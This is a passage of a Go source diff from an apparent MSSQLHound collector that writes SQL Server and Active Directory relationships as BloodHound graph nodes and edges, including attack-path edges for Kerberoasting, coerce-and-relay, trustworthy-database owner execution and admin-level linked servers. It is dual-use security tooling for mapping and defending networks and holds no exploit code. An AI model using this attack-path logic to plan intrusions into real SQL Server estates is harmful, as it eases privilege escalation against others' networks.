"GRANT_WITH_GRANT_OPTION") { + hasConnectSQL = true + break + } + } + if !hasConnectSQL { + for _, membership := range principal.MemberOf { + if membership.Name == "sysadmin" || membership.Name == "securityadmin" { + hasConnectSQL = true + break + } + } + } + if !hasConnectSQL { + continue + } + + // ObjectID format: {serverFQDN}-{SID} + groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier + + // Skip if already created + if createdNodes[groupObjectID] { + continue + } + + node := &bloodhound.Node{ + ID: groupObjectID, + Kinds: []string{bloodhound.NodeKinds.Group, "Base"}, + Properties: map[string]interface{}{ + "name": principal.Name, + "isActiveDirectoryPrincipal": principal.IsActiveDirectoryPrincipal, + }, + } + if err := writer.WriteNode(node); err != nil { + return err + } + createdNodes[groupObjectID] = true + } + + // Create nodes for service accounts + for _, sa := range serverInfo.ServiceAccounts { + saID := sa.SID + if saID == "" { + saID = sa.ObjectIdentifier + } + if saID == "" || createdNodes[saID] { + continue + } + + // Skip if not a domain SID + if !strings.HasPrefix(saID, "S-1-5-21-") { + continue + } + + // Determine kind based on account name + var kinds []string + if strings.HasSuffix(sa.Name, "$") { + kinds = []string{bloodhound.NodeKinds.Computer, "Base"} + } else { + kinds = []string{bloodhound.NodeKinds.User, "Base"} + } + + // Format display name to match PowerShell behavior: + // PS uses Resolve-DomainPrincipal which returns UserPrincipalName, DNSHostName, + // or SAMAccountName (in that priority order). For user accounts without UPN, + // this is just the bare account name (e.g., "sccmsqlsvc" not "DOMAIN\sccmsqlsvc"). + // For computer accounts, resolveServiceAccountSIDsViaLDAP already sets Name to FQDN. + displayName := sa.Name + if idx := strings.Index(displayName, "\\"); idx != -1 { + displayName = displayName[idx+1:] + } + + nodeProps := map[string]interface{}{ + "name": displayName, + } + + // Enrich with LDAP-resolved AD attributes (matching PowerShell behavior) + if sa.ResolvedPrincipal != nil { + nodeProps["isDomainPrincipal"] = true + nodeProps["SID"] = sa.ResolvedPrincipal.SID + nodeProps["SAMAccountName"] = sa.ResolvedPrincipal.SAMAccountName + nodeProps["domain"] = sa.ResolvedPrincipal.Domain + nodeProps["isEnabled"] = sa.ResolvedPrincipal.Enabled + if sa.ResolvedPrincipal.DistinguishedName != "" { + nodeProps["distinguishedName"] = sa.ResolvedPrincipal.DistinguishedName + } + if sa.ResolvedPrincipal.DNSHostName != "" { + nodeProps["DNSHostName"] = sa.ResolvedPrincipal.DNSHostName + } + if sa.ResolvedPrincipal.UserPrincipalName != "" { + nodeProps["userPrincipalName"] = sa.ResolvedPrincipal.UserPrincipalName + } + } + + node := &bloodhound.Node{ + ID: saID, + Kinds: kinds, + Properties: nodeProps, + } + if err := writer.WriteNode(node); err != nil { + return err + } + createdNodes[saID] = true + } + + // Create nodes for credential targets (HasMappedCred, HasDBScopedCred, HasProxyCred) + // This matches PowerShell's credential Base node creation at MSSQLHound.ps1:8958-9018 + credentialNodeKind := func(objectClass string) string { + switch objectClass { + case "computer": + return bloodhound.NodeKinds.Computer + case "group": + return bloodhound.NodeKinds.Group + default: + return bloodhound.NodeKinds.User + } + } + + writeCredentialNode := func(sid string, principal *types.DomainPrincipal) error { + if sid == "" || createdNodes[sid] { + return nil + } + kind := credentialNodeKind(principal.ObjectClass) + props := map[string]interface{}{ + "name": principal.Name, + "domain": principal.Domain, + "isDomainPrincipal": true, + "SID": principal.SID, + "SAMAccountName": principal.SAMAccountName, + "isEnabled": principal.Enabled, + } + if principal.DistinguishedName != "" { + props["distinguishedName"] = principal.DistinguishedName + } + if principal.DNSHostName != "" { + props["DNSHostName"] = principal.DNSHostName + } + if principal.UserPrincipalName != "" { + props["userPrincipalName"] = principal.UserPrincipalName + } + node := &bloodhound.Node{ + ID: sid, + Kinds: []string{kind, "Base"}, + Properties: props, + } + if err := writer.WriteNode(node); err != nil { + return err + } + createdNodes[sid] = true + return nil + } + + // Server-level credentials + for _, cred := range serverInfo.Credentials { + if cred.ResolvedPrincipal != nil { + if err := writeCredentialNode(cred.ResolvedSID, cred.ResolvedPrincipal); err != nil { + return err + } + } + } + + // Database-scoped credentials + for _, db := range serverInfo.Databases { + for _, cred := range db.DBScopedCredentials { + if cred.ResolvedPrincipal != nil { + if err := writeCredentialNode(cred.ResolvedSID, cred.ResolvedPrincipal); err != nil { + return err + } + } + } + } + + // Proxy account credentials + for _, proxy := range serverInfo.ProxyAccounts { + if proxy.ResolvedPrincipal != nil { + if err := writeCredentialNode(proxy.ResolvedSID, proxy.ResolvedPrincipal); err != nil { + return err + } + } + } + + return nil +} + +// createEdges creates all edges for the server +func (c *Collector) createEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error { + // ========================================================================= + // CONTAINS EDGES + // ========================================================================= + + // Server contains databases + for _, db := range serverInfo.Databases { + edge := c.createEdge( + serverInfo.ObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Contains, + &bloodhound.EdgeContext{ + SourceName: serverInfo.ServerName, + SourceType: bloodhound.NodeKinds.Server, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // Server contains server principals (logins and server roles) + for _, principal := range serverInfo.ServerPrincipals { + targetType := c.getServerPrincipalType(principal.TypeDescription) + edge := c.createEdge( + serverInfo.ObjectIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.Contains, + &bloodhound.EdgeContext{ + SourceName: serverInfo.ServerName, + SourceType: bloodhound.NodeKinds.Server, + TargetName: principal.Name, + TargetType: targetType, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // Database contains database principals (users, roles, application roles) + for _, db := range serverInfo.Databases { + for _, principal := range db.DatabasePrincipals { + targetType := c.getDatabasePrincipalType(principal.TypeDescription) + edge := c.createEdge( + db.ObjectIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.Contains, + &bloodhound.EdgeContext{ + SourceName: db.Name, + SourceType: bloodhound.NodeKinds.Database, + TargetName: principal.Name, + TargetType: targetType, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // ========================================================================= + // OWNERSHIP EDGES + // ========================================================================= + + // Database ownership (login owns database) + for _, db := range serverInfo.Databases { + if db.OwnerObjectIdentifier != "" { + edge := c.createEdge( + db.OwnerObjectIdentifier, + db.ObjectIdentifier, + bloodhound.EdgeKinds.Owns, + &bloodhound.EdgeContext{ + SourceName: db.OwnerLoginName, + SourceType: bloodhound.NodeKinds.Login, + TargetName: db.Name, + TargetType: bloodhound.NodeKinds.Database, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // Server role ownership + for _, principal := range serverInfo.ServerPrincipals { + if principal.TypeDescription == "SERVER_ROLE" && principal.OwningObjectIdentifier != "" { + edge := c.createEdge( + principal.OwningObjectIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.Owns, + &bloodhound.EdgeContext{ + SourceName: "", // Will be filled by owner lookup + SourceType: bloodhound.NodeKinds.Login, + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.ServerRole, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // Database role ownership + for _, db := range serverInfo.Databases { + for _, principal := range db.DatabasePrincipals { + if principal.TypeDescription == "DATABASE_ROLE" && principal.OwningObjectIdentifier != "" { + edge := c.createEdge( + principal.OwningObjectIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.Owns, + &bloodhound.EdgeContext{ + SourceName: "", // Owner name + SourceType: bloodhound.NodeKinds.DatabaseUser, + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + } + + // ========================================================================= + // MEMBEROF EDGES + // ========================================================================= + + // Server role memberships (explicit only - PowerShell doesn't add implicit public membership) + for _, principal := range serverInfo.ServerPrincipals { + for _, role := range principal.MemberOf { + edge := c.createEdge( + principal.ObjectIdentifier, + role.ObjectIdentifier, + bloodhound.EdgeKinds.MemberOf, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getServerPrincipalType(principal.TypeDescription), + TargetName: role.Name, + TargetType: bloodhound.NodeKinds.ServerRole, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // Database role memberships (explicit only - PowerShell doesn't add implicit public membership) + for _, db := range serverInfo.Databases { + for _, principal := range db.DatabasePrincipals { + for _, role := range principal.MemberOf { + edge := c.createEdge( + principal.ObjectIdentifier, + role.ObjectIdentifier, + bloodhound.EdgeKinds.MemberOf, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: c.getDatabasePrincipalType(principal.TypeDescription), + TargetName: role.Name, + TargetType: bloodhound.NodeKinds.DatabaseRole, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + } + + // ========================================================================= + // MAPPING EDGES + // ========================================================================= + + // Login to database user mapping + for _, db := range serverInfo.Databases { + for _, principal := range db.DatabasePrincipals { + if principal.ServerLogin != nil { + edge := c.createEdge( + principal.ServerLogin.ObjectIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.IsMappedTo, + &bloodhound.EdgeContext{ + SourceName: principal.ServerLogin.Name, + SourceType: bloodhound.NodeKinds.Login, + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.DatabaseUser, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + } + + // ========================================================================= + // FIXED ROLE PERMISSION EDGES + // ========================================================================= + + // Create edges for fixed role capabilities + if err := c.createFixedRoleEdges(writer, serverInfo); err != nil { + return err + } + + // ========================================================================= + // EXPLICIT PERMISSION EDGES + // ========================================================================= + + // Server principal permissions + if err := c.createServerPermissionEdges(writer, serverInfo); err != nil { + return err + } + + // Database principal permissions + for _, db := range serverInfo.Databases { + if err := c.createDatabasePermissionEdges(writer, &db, serverInfo); err != nil { + return err + } + } + + // ========================================================================= + // LINKED SERVER AND TRUSTWORTHY EDGES + // ========================================================================= + + // Linked servers - one edge per login mapping (matching PowerShell behavior) + for _, linked := range serverInfo.LinkedServers { + // Determine target ObjectIdentifier for linked server + targetID := linked.DataSource + if linked.ResolvedObjectIdentifier != "" { + targetID = linked.ResolvedObjectIdentifier + } + + // Resolve the source server ObjectIdentifier + // PowerShell compares linked.SourceServer to current hostname and resolves chains + sourceID := serverInfo.ObjectIdentifier + if linked.SourceServer != "" && !strings.EqualFold(linked.SourceServer, serverInfo.Hostname) { + // Source is a different server (chained linked server) - resolve its ID + resolvedSourceID := c.resolveLinkedServerSourceID(linked.SourceServer, serverInfo) + if resolvedSourceID != "" { + sourceID = resolvedSourceID + } + } + + // MSSQL_LinkedTo edge with all properties matching PowerShell + edge := c.createEdge( + sourceID, + targetID, + bloodhound.EdgeKinds.LinkedTo, + &bloodhound.EdgeContext{ + SourceName: serverInfo.ServerName, + SourceType: bloodhound.NodeKinds.Server, + TargetName: linked.Name, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if edge != nil { + // Add linked server specific properties (matching PowerShell) + edge.Properties["dataAccess"] = linked.IsDataAccessEnabled + edge.Properties["dataSource"] = linked.DataSource + edge.Properties["localLogin"] = linked.LocalLogin + edge.Properties["path"] = linked.Path + edge.Properties["product"] = linked.Product + edge.Properties["provider"] = linked.Provider + edge.Properties["remoteCurrentLogin"] = linked.RemoteCurrentLogin + edge.Properties["remoteHasControlServer"] = linked.RemoteHasControlServer + edge.Properties["remoteHasImpersonateAnyLogin"] = linked.RemoteHasImpersonateAnyLogin + edge.Properties["remoteIsMixedMode"] = linked.RemoteIsMixedMode + edge.Properties["remoteIsSecurityAdmin"] = linked.RemoteIsSecurityAdmin + edge.Properties["remoteIsSysadmin"] = linked.RemoteIsSysadmin + edge.Properties["remoteLogin"] = linked.RemoteLogin + edge.Properties["rpcOut"] = linked.IsRPCOutEnabled + edge.Properties["usesImpersonation"] = linked.UsesImpersonation + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // MSSQL_LinkedAsAdmin edge if conditions are met: + // - Remote login exists and is a SQL login (no backslash) + // - Remote login has admin privileges (sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN) + // - Target server has mixed mode authentication enabled + if linked.RemoteLogin != "" && + !strings.Contains(linked.RemoteLogin, "\\") && + (linked.RemoteIsSysadmin || linked.RemoteIsSecurityAdmin || + linked.RemoteHasControlServer || linked.RemoteHasImpersonateAnyLogin) && + linked.RemoteIsMixedMode { + + edge := c.createEdge( + sourceID, + targetID, + bloodhound.EdgeKinds.LinkedAsAdmin, + &bloodhound.EdgeContext{ + SourceName: serverInfo.ServerName, + SourceType: bloodhound.NodeKinds.Server, + TargetName: linked.Name, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if edge != nil { + // Add linked server specific properties (matching PowerShell) + edge.Properties["dataAccess"] = linked.IsDataAccessEnabled + edge.Properties["dataSource"] = linked.DataSource + edge.Properties["localLogin"] = linked.LocalLogin + edge.Properties["path"] = linked.Path + edge.Properties["product"] = linked.Product + edge.Properties["provider"] = linked.Provider + edge.Properties["remoteCurrentLogin"] = linked.RemoteCurrentLogin + edge.Properties["remoteHasControlServer"] = linked.RemoteHasControlServer + edge.Properties["remoteHasImpersonateAnyLogin"] = linked.RemoteHasImpersonateAnyLogin + edge.Properties["remoteIsMixedMode"] = linked.RemoteIsMixedMode + edge.Properties["remoteIsSecurityAdmin"] = linked.RemoteIsSecurityAdmin + edge.Properties["remoteIsSysadmin"] = linked.RemoteIsSysadmin + edge.Properties["remoteLogin"] = linked.RemoteLogin + edge.Properties["rpcOut"] = linked.IsRPCOutEnabled + edge.Properties["usesImpersonation"] = linked.UsesImpersonation + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // Trustworthy databases - create IsTrustedBy and potentially ExecuteAsOwner edges + for _, db := range serverInfo.Databases { + if db.IsTrustworthy { + // Always create IsTrustedBy edge for trustworthy databases + edge := c.createEdge( + db.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.IsTrustedBy, + &bloodhound.EdgeContext{ + SourceName: db.Name, + SourceType: bloodhound.NodeKinds.Database, + TargetName: serverInfo.ServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // Check if database owner has high privileges + // (sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN) + // Uses nested role/permission checks matching PowerShell's Get-NestedRoleMembership/Get-EffectivePermissions + if db.OwnerObjectIdentifier != "" { + // Find the owner in server principals + var ownerHasSysadmin, ownerHasSecurityadmin, ownerHasControlServer, ownerHasImpersonateAnyLogin bool + var ownerLoginName string + for _, owner := range serverInfo.ServerPrincipals { + if owner.ObjectIdentifier == db.OwnerObjectIdentifier { + ownerLoginName = owner.Name + ownerHasSysadmin = c.hasNestedRoleMembership(owner, "sysadmin", serverInfo) + ownerHasSecurityadmin = c.hasNestedRoleMembership(owner, "securityadmin", serverInfo) + ownerHasControlServer = c.hasEffectivePermission(owner, "CONTROL SERVER", serverInfo) + ownerHasImpersonateAnyLogin = c.hasEffectivePermission(owner, "IMPERSONATE ANY LOGIN", serverInfo) + break + } + } + + if ownerHasSysadmin || ownerHasSecurityadmin || ownerHasControlServer || ownerHasImpersonateAnyLogin { + // Create ExecuteAsOwner edge with metadata properties matching PowerShell + edge := c.createEdge( + db.ObjectIdentifier, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ExecuteAsOwner, + &bloodhound.EdgeContext{ + SourceName: db.Name, + SourceType: bloodhound.NodeKinds.Database, + TargetName: serverInfo.SQLServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + DatabaseName: db.Name, + }, + ) + if edge != nil { + edge.Properties["database"] = db.Name + edge.Properties["databaseIsTrustworthy"] = db.IsTrustworthy + edge.Properties["ownerHasControlServer"] = ownerHasControlServer + edge.Properties["ownerHasImpersonateAnyLogin"] = ownerHasImpersonateAnyLogin + edge.Properties["ownerHasSecurityadmin"] = ownerHasSecurityadmin + edge.Properties["ownerHasSysadmin"] = ownerHasSysadmin + edge.Properties["ownerLoginName"] = ownerLoginName + edge.Properties["ownerObjectIdentifier"] = db.OwnerObjectIdentifier + edge.Properties["ownerPrincipalID"] = db.OwnerPrincipalID + edge.Properties["SQLServer"] = serverInfo.ObjectIdentifier + } + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + } + } + + // ========================================================================= + // COMPUTER-SERVER RELATIONSHIP EDGES + // ========================================================================= + + // Create Computer node and edges if we have the computer SID + if serverInfo.ComputerSID != "" { + // MSSQL_HostFor: Computer -> Server + edge := c.createEdge( + serverInfo.ComputerSID, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.HostFor, + &bloodhound.EdgeContext{ + SourceName: serverInfo.Hostname, + SourceType: "Computer", + TargetName: serverInfo.SQLServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // MSSQL_ExecuteOnHost: Server -> Computer + edge = c.createEdge( + serverInfo.ObjectIdentifier, + serverInfo.ComputerSID, + bloodhound.EdgeKinds.ExecuteOnHost, + &bloodhound.EdgeContext{ + SourceName: serverInfo.SQLServerName, + SourceType: bloodhound.NodeKinds.Server, + TargetName: serverInfo.Hostname, + TargetType: "Computer", + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // ========================================================================= + // AD PRINCIPAL RELATIONSHIP EDGES + // ========================================================================= + + // Create HasLogin and CoerceAndRelayToMSSQL edges from AD principals to their SQL logins + // Match PowerShell logic: iterate enabledDomainPrincipalsWithConnectSQL + // CoerceAndRelayToMSSQL is checked BEFORE the S-1-5-21 filter and dedup (matching PS ordering) + // HasLogin is only created for S-1-5-21-* SIDs with dedup + principalsWithLogin := make(map[string]bool) + for _, principal := range serverInfo.ServerPrincipals { + if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" { + continue + } + + // Skip disabled logins + if principal.IsDisabled { + continue + } + + // Check if has CONNECT SQL permission (direct or through sysadmin/securityadmin membership) + // This matches PowerShell's $enabledDomainPrincipalsWithConnectSQL filter + hasConnectSQL := false + for _, perm := range principal.Permissions { + if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") { + hasConnectSQL = true + break + } + } + // Also check sysadmin/securityadmin membership (implies CONNECT SQL) + if !hasConnectSQL { + for _, membership := range principal.MemberOf { + if membership.Name == "sysadmin" || membership.Name == "securityadmin" { + hasConnectSQL = true + break + } + } + } + if !hasConnectSQL { + continue + } + + // CoerceAndRelayToMSSQL edge if conditions are met: + // - Extended Protection (EPA) is Off + // - Login is for a computer account (name ends with $) + // This is checked BEFORE the S-1-5-21 filter and dedup, matching PowerShell ordering + if serverInfo.ExtendedProtection == "Off" && strings.HasSuffix(principal.Name, "$") { + // Create edge from Authenticated Users (S-1-5-11) to the SQL login + // The SID S-1-5-11 is prefixed with the domain for the full ObjectIdentifier + authedUsersSID := "S-1-5-11" + if c.config.Domain != "" { + authedUsersSID = c.config.Domain + "-S-1-5-11" + } + + edge := c.createEdge( + authedUsersSID, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.CoerceAndRelayTo, + &bloodhound.EdgeContext{ + SourceName: "AUTHENTICATED USERS", + SourceType: "Group", + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // Only process domain SIDs (S-1-5-21-*) for HasLogin edges + // Skip NT AUTHORITY, NT SERVICE, local accounts, etc. + if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") { + continue + } + + // Skip if we already created HasLogin for this SID (dedup) + if principalsWithLogin[principal.SecurityIdentifier] { + continue + } + + principalsWithLogin[principal.SecurityIdentifier] = true + + // MSSQL_HasLogin: AD Principal (SID) -> SQL Login + edge := c.createEdge( + principal.SecurityIdentifier, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.HasLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: "Base", // Generic AD principal type + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // Create HasLogin edges for local groups that have SQL logins + // This processes ALL local groups (not just BUILTIN S-1-5-32-*), matching PowerShell behavior. + // LocalGroupsWithLogins contains groups collected via WMI/net localgroup enumeration. + if serverInfo.LocalGroupsWithLogins != nil { + for _, groupInfo := range serverInfo.LocalGroupsWithLogins { + if groupInfo.Principal == nil || groupInfo.Principal.SecurityIdentifier == "" { + continue + } + + principal := groupInfo.Principal + + // Track non-BUILTIN SIDs separately (machine-local groups) + if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") { + principalsWithLogin[principal.SecurityIdentifier] = true + } + + // ObjectID format: {serverFQDN}-{SID} (machine-specific) + groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier + principalsWithLogin[groupObjectID] = true + + // MSSQL_HasLogin edge + edge := c.createEdge( + groupObjectID, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.HasLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: "Group", + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } else { + // Fallback: process local groups from ServerPrincipals if LocalGroupsWithLogins is not populated + // This handles both BUILTIN (S-1-5-32-*) and machine-local groups (S-1-5-21-* not matching domain SID) + for _, principal := range serverInfo.ServerPrincipals { + if principal.SecurityIdentifier == "" { + continue + } + + // Identify local groups: BUILTIN (S-1-5-32-*) or machine-local Windows groups + isLocalGroup := false + if strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") { + isLocalGroup = true + } else if principal.TypeDescription == "WINDOWS_GROUP" && + strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") && + (serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-")) { + isLocalGroup = true + } + if !isLocalGroup { + continue + } + + // Skip disabled logins + if principal.IsDisabled { + continue + } + + // Check if has CONNECT SQL permission + hasConnectSQL := false + for _, perm := range principal.Permissions { + if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") { + hasConnectSQL = true + break + } + } + // Also check sysadmin/securityadmin membership + if !hasConnectSQL { + for _, membership := range principal.MemberOf { + if membership.Name == "sysadmin" || membership.Name == "securityadmin" { + hasConnectSQL = true + break + } + } + } + if !hasConnectSQL { + continue + } + + // ObjectID format: {serverFQDN}-{SID} + groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier + + // Skip if already processed + if principalsWithLogin[groupObjectID] { + continue + } + principalsWithLogin[groupObjectID] = true + + // MSSQL_HasLogin edge + edge := c.createEdge( + groupObjectID, + principal.ObjectIdentifier, + bloodhound.EdgeKinds.HasLogin, + &bloodhound.EdgeContext{ + SourceName: principal.Name, + SourceType: "Group", + TargetName: principal.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // ========================================================================= + // SERVICE ACCOUNT EDGES (including Kerberoasting edges) + // ========================================================================= + + // Track domain principals with admin privileges for GetAdminTGS + // Uses nested role/permission checks matching PowerShell's second pass (lines 7676-7712) + var domainPrincipalsWithAdmin []string + var enabledDomainLoginsWithConnectSQL []types.ServerPrincipal + + for _, principal := range serverInfo.ServerPrincipals { + if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" { + continue + } + + // Skip non-domain SIDs + if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") { + continue + } + + // Check if has admin-level access (including inherited through nested role membership) + hasAdmin := c.hasNestedRoleMembership(principal, "sysadmin", serverInfo) || + c.hasNestedRoleMembership(principal, "securityadmin", serverInfo) || + c.hasEffectivePermission(principal, "CONTROL SERVER", serverInfo) || + c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", serverInfo) + + if hasAdmin { + domainPrincipalsWithAdmin = append(domainPrincipalsWithAdmin, principal.ObjectIdentifier) + } + + // Track enabled domain logins with CONNECT SQL for GetTGS + if !principal.IsDisabled { + hasConnect := false + for _, perm := range principal.Permissions { + if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") { + hasConnect = true + break + } + } + // Also check if member of sysadmin (implies CONNECT) + if !hasConnect { + for _, membership := range principal.MemberOf { + if membership.Name == "sysadmin" || membership.Name == "securityadmin" { + hasConnect = true + break + } + } + } + if hasConnect { + enabledDomainLoginsWithConnectSQL = append(enabledDomainLoginsWithConnectSQL, principal) + } + } + } + + // Create ServiceAccountFor and Kerberoasting edges from service accounts to the server + for _, sa := range serverInfo.ServiceAccounts { + if sa.ObjectIdentifier == "" && sa.SID == "" { + continue + } + + saID := sa.SID + if saID == "" { + saID = sa.ObjectIdentifier + } + + // Only create edges for domain accounts (skip NT AUTHORITY, LOCAL SERVICE, etc.) + // Domain accounts have SIDs starting with S-1-5-21- + isDomainAccount := strings.HasPrefix(saID, "S-1-5-21-") + + if !isDomainAccount { + continue + } + + // Check if the service account is the server's own computer account + // This is used to skip HasSession only - other edges still get created for computer accounts + // We check two conditions: + // 1. Name matches SAMAccountName format (HOSTNAME$) + // 2. SID matches the server's ComputerSID (for when name was converted to FQDN) + hostname := serverInfo.Hostname + if strings.Contains(hostname, ".") { + hostname = strings.Split(hostname, ".")[0] + } + isComputerAccountName := strings.EqualFold(sa.Name, hostname+"$") + isComputerAccountSID := serverInfo.ComputerSID != "" && saID == serverInfo.ComputerSID + + // Check if this service account was converted from a built-in account (LocalSystem, etc.) + // This is only used for HasSession - we skip that for computer accounts running as themselves + isConvertedFromBuiltIn := sa.ConvertedFromBuiltIn + + // ServiceAccountFor: Service Account (SID) -> SQL Server + // We create this edge for all resolved service accounts including computer accounts + edge := c.createEdge( + saID, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.ServiceAccountFor, + &bloodhound.EdgeContext{ + SourceName: sa.Name, + SourceType: "Base", // Could be User or Computer + TargetName: serverInfo.SQLServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + + // HasSession: Computer -> Service Account + // Skip for computer accounts (when service account IS the computer) + // Also skip for converted built-in accounts (which become the computer account) + // Check both name pattern (HOSTNAME$) and SID match + isBuiltInAccount := strings.ToUpper(sa.Name) == "NT AUTHORITY\\SYSTEM" || + sa.Name == "LocalSystem" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCAL SERVICE" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORK SERVICE" + + if serverInfo.ComputerSID != "" && !isBuiltInAccount && !isComputerAccountName && !isComputerAccountSID && !isConvertedFromBuiltIn { + edge := c.createEdge( + serverInfo.ComputerSID, + saID, + bloodhound.EdgeKinds.HasSession, + &bloodhound.EdgeContext{ + SourceName: serverInfo.Hostname, + SourceType: "Computer", + TargetName: sa.Name, + TargetType: "Base", + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // GetAdminTGS: Service Account -> Server (if any domain principal has admin) + if len(domainPrincipalsWithAdmin) > 0 { + edge := c.createEdge( + saID, + serverInfo.ObjectIdentifier, + bloodhound.EdgeKinds.GetAdminTGS, + &bloodhound.EdgeContext{ + SourceName: sa.Name, + SourceType: "Base", + TargetName: serverInfo.SQLServerName, + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + + // GetTGS: Service Account -> each enabled domain login with CONNECT SQL + for _, login := range enabledDomainLoginsWithConnectSQL { + edge := c.createEdge( + saID, + login.ObjectIdentifier, + bloodhound.EdgeKinds.GetTGS, + &bloodhound.EdgeContext{ + SourceName: sa.Name, + SourceType: "Base", + TargetName: login.Name, + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: serverInfo.SQLServerName, + }, + ) + if err := writer.WriteEdge(edge); err != nil { + return err + } + } + } + + // ========================================================================= + // CREDENTIAL EDGES + // ========================================================================= + + // Build credential lookup map for enriching edge properties with dates + credentialByID := make(map[int]*types.Credential) + for i := range serverInfo.Credentials { + credentialByID[serverInfo.Credentials[i].CredentialID] = &serverInfo.Credentials[i] + } + + // Create HasMappedCred edges from logins to their mapped credentials + for _, principal := range serverInfo.ServerPrincipals { + if principal.MappedCredential == nil { + continue + } + + cred := principal.MappedCredential + + // Only create edges for domain credentials with a resolved SID, + // matching PowerShell's IsDomainPrincipal && ResolvedSID check + if cred.ResolvedSID == "" { + continue + } + + targetID := cred.ResolvedSID + + // HasMappedCred: Login -> AD Principal (resolved SID or 